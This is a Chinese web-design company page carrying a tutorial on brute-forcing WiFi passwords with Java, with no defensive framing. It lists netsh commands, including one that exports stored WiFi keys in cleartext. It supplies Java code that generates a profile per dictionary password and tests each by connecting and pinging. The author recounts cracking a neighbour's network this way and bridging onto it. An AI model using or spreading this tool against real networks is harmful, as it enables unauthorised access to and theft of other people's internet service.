网创优客建站品牌官网
为成都网站建设公司企业提供高品质网站建设
热线:028-86922220
成都专业网站建设公司

定制建站费用3500元

符合中小企业对网站设计、功能常规化式的企业展示型网站建设

成都品牌网站建设

品牌网站建设费用6000元

本套餐主要针对企业品牌型网站、中高端设计、前端互动体验...

成都商城网站建设

商城网站建设费用8000元

商城网站建设因基本功能的需求不同费用上面也有很大的差别...

成都微信网站建设

手机微信网站建站3000元

手机微信网站开发、微信官网、微信商城网站...

建站知识

当前位置:首页 > 建站知识

使用Java怎么暴力破解WIFI密码

这期内容当中小编将会给大家带来有关使用Java怎么暴力破解WIFI密码,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

成都创新互联专注于网站建设,为客户提供成都做网站、成都网站建设、网页设计开发服务,多年建网站服务经验,各类网站都可以开发,品牌网站设计,公司官网,公司展示网站,网站设计,建网站费用,建网站多少钱,价格优惠,收费合理。

一、准备工作

首先你得需要一台能连wifi的电脑,
然后你的电脑得支持Java环境,
最后你周围得有无线网络。

ok,话不多说,说开撸,老夫就要开撸。于是网上找到了windows下cmd无线网络操作的相关命令。如下:

// 列出所有可用wifi
netsh wlan show networks mode=bssid
// 添加配置文件
netsh wlan add profile filename=FILE_NAME
// 连接wifi
netsh wlan connect name=SSID_NAME
// 导出配置文件
netsh wlan export profile key=clear
// 列出配置文件
netsh wlan show profile
// 删除配置文件
netsh wlan delete profile name=FILE_NAME
// 列出接口
netsh wlan show interface
// 开启接口
netsh interface set interface "Interface Name" enabled

首先需要写配置文件,方便待会使用。首先我们可以看看配置文件张啥样,导出配置文件看看就知道了。打开命令行,输入这我这篇文章中,主要会用到前四个命令,其他的命令就当给各位做拓展了。

netsh wlan export profile key=clear

就导出了配置文件,注意,这儿的配置文件默认导出在cmd执行的当前路径,如下,

我导出的文件就在 C:\Users\Admin 下面,可以看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,随便打开一个我们可以看到xml文件的具体内容,但是有一些内容是我们不需要的,我们需要的是下面这个样子



SSID_NAME

  
    SSID_NAME
  

ESS
auto

  
    
      AUTH_TYPE
      AES
      false
    
    
      passPhrase
      false
      PASSWORD
    
  


  false

二、扫描WIFI

其中 SSID_NAME 是待会我们会用到的wifi名称, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我们会暴力破解的密码变量。

OK,背景交代得差不多了,可以开干了。首先扫描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信号强度(信号太弱的,我们就不进行破解了,破解了也没啥用)。扫描其实就是执行一个CMD命令的问题,先封装一个CMD执行器吧。

/**
 * 执行器
 *
 * @param cmd   CMD命令
 * @param filePath 需要在哪个目录下执行
 */
private static List execute(String cmd, String filePath) {
  Process process = null;
  List result = new ArrayList();
  try {
    if (filePath != null) {
      process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
    } else {
      process = Runtime.getRuntime().exec(cmd);
    }
    BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
    String line = null;
    while ((line = bReader.readLine()) != null) {
      result.add(line);
    }
  } catch (IOException e) {
    e.printStackTrace();
  }
  return result;
}
/**
 * 列出所有信号较好的ssid
 *
 * @return 所有ssid
 */
public static List listSsid() {
  List ssidList = new ArrayList();
  String cmd = Command.SHOW_NETWORKS;
  List result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    // todo 整合信息
  }
  return ssidList;
}

然后扫描周围wifi信息,并返回相关信息

三、生成配置文件

OK,接下来我们就可以开始针对每个不同的SSID生成不同的配置文件了,生成文件整个过程就是根据每个不同的密码生成一个配置文件。大概代码如下

/**
 * 配置文件生成器
 */
public class ProfileGenerator {
  private String ssid = null;
  private String passwrodPath = null;
  private ExecutorService threadPool = Executors.newFixedThreadPool(4);
  public ProfileGenerator(String ssid, String passwrodPath) {
    this.ssid = ssid;
    this.passwrodPath = passwrodPath;
  }
  /**
   * 生成配置文件
   */
  public void genProfile() {
    List passwordList = null;
    int counter = 0;
    outer:
    while (true) {
      int start = counter * Connector.BATH_SIZE;
      int end = (counter + 1) * Connector.BATH_SIZE - 1;
      passwordList = FileUtils.readLine(passwrodPath, start, end);
      if (passwordList != null && passwordList.size() > 0) {
        // 生成配置文件
        for (String password : passwordList) {
          GenThread genThread = new GenThread(ssid, password);
          threadPool.execute(genThread);
        }
      } else {
        break outer;
      }
      counter++;
    }
  }
}
class GenThread implements Runnable {
  private String ssid = null;
  private String password = null;
  GenThread(String ssid, String password) {
    this.ssid = ssid;
    this.password = password;
  }
  public void run() {
    String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
    profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
    FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
  }
}

需要哪些密码可以自己现在网上找一些字典来跑,建议顺序是 常用弱口令 => 字典面 => 随机密码(到了随机密码这儿,意义也不大了)。这儿给出一个常见弱口令的下载连接。反正我只用这个弱口令破解过一个WIFI。这儿为了加快文件生成速度,我开启了多线程。个人实际感受,如果只是几千到几万个的话,其实多线程不多线程,并没有多大区别,真正的区别在于后面尝试连接的时候。

四、遍历校验配置文件

接下来就是最耗时的一步了,一个个密码去校验。关键代码如下

/**
 * 校验WLAN配置文件是否正确
 * 

 * 校验步骤为:  * ---step1 添加配置文件  * ---step3 连接wifi  * ---step3 ping校验  */ public synchronized boolean check(String ssid, String password) {   System.out.println("check : " + password);   try {     String profileName = password + ".xml";     if (addProfile(profileName)) {       if (connect(ssid)) {         Thread.sleep(50);         if (ping()) {           return true;         }       }     }   } catch (InterruptedException e) {     e.printStackTrace();   }   return false; } /**  * 添加配置文件  *  * @param profileName 添加配置文件  */ private static boolean addProfile(String profileName) {   String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);   List result = execute(cmd, Connector.PROFILE_TEMP_PATH);   if (result != null && result.size() > 0) {     if (result.get(0).contains("添加到接口")) {       return true;     }   }   return false; } /**  * 连接wifi  *  * @param ssid 添加配置文件  */ private static boolean connect(String ssid) {   boolean connected = false;   String cmd = Command.CONNECT.replace("SSID_NAME", ssid);   List result = execute(cmd, null);   if (result != null && result.size() > 0) {     if (result.get(0).contains("已成功完成")) {       connected = true;     }   }   return connected; } /**  * ping 校验  */ private static boolean ping() {   boolean pinged = false;   String cmd = "ping " + Connector.PING_DOMAIN;   List result = execute(cmd, null);   if (result != null && result.size() > 0) {     for (String item : result) {       if (item.contains("来自")) {         pinged = true;         break;       }     }   }   return pinged; }

两点释疑:

1. 为什么需要sleep(50)? 因为在连接后,电脑没有立即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50行不行。

2. 为什么需要ping网站? 因为在第二步连接的时候,不管有没有连接成功,都会出现 ‘已成功完成xx连接' 的字样。所以没办法,只有用ping来校验,不过我相信一定能够优化的。

这一步我开启了多线程,去验证,有人说为什么用多线程,明明验证方法都 synchronized 了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那一点点时间,我用了多线程。

五、连接成功

OK,至此,为师已将毕生功力传授给你了,你出去就说是三年经验了。呸,说错了,至此,整个流程大概就已经出来了,接下来就run你的程序吧。等待密码的破解。

我一共在我家周围瞄上了三个信号看起来还可以的wifi。用这个程序跑了40多秒,开了一个wifi的密码 12345678。耶成功了终于可以用了。

然后根据密码,把自家路由器设置一个桥接模式。家里处处都有网了。

上述就是小编为大家分享的使用Java怎么暴力破解WIFI密码了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。


当前标题:使用Java怎么暴力破解WIFI密码
网站URL:http://bjjierui.cn/article/gpedgg.html

其他资讯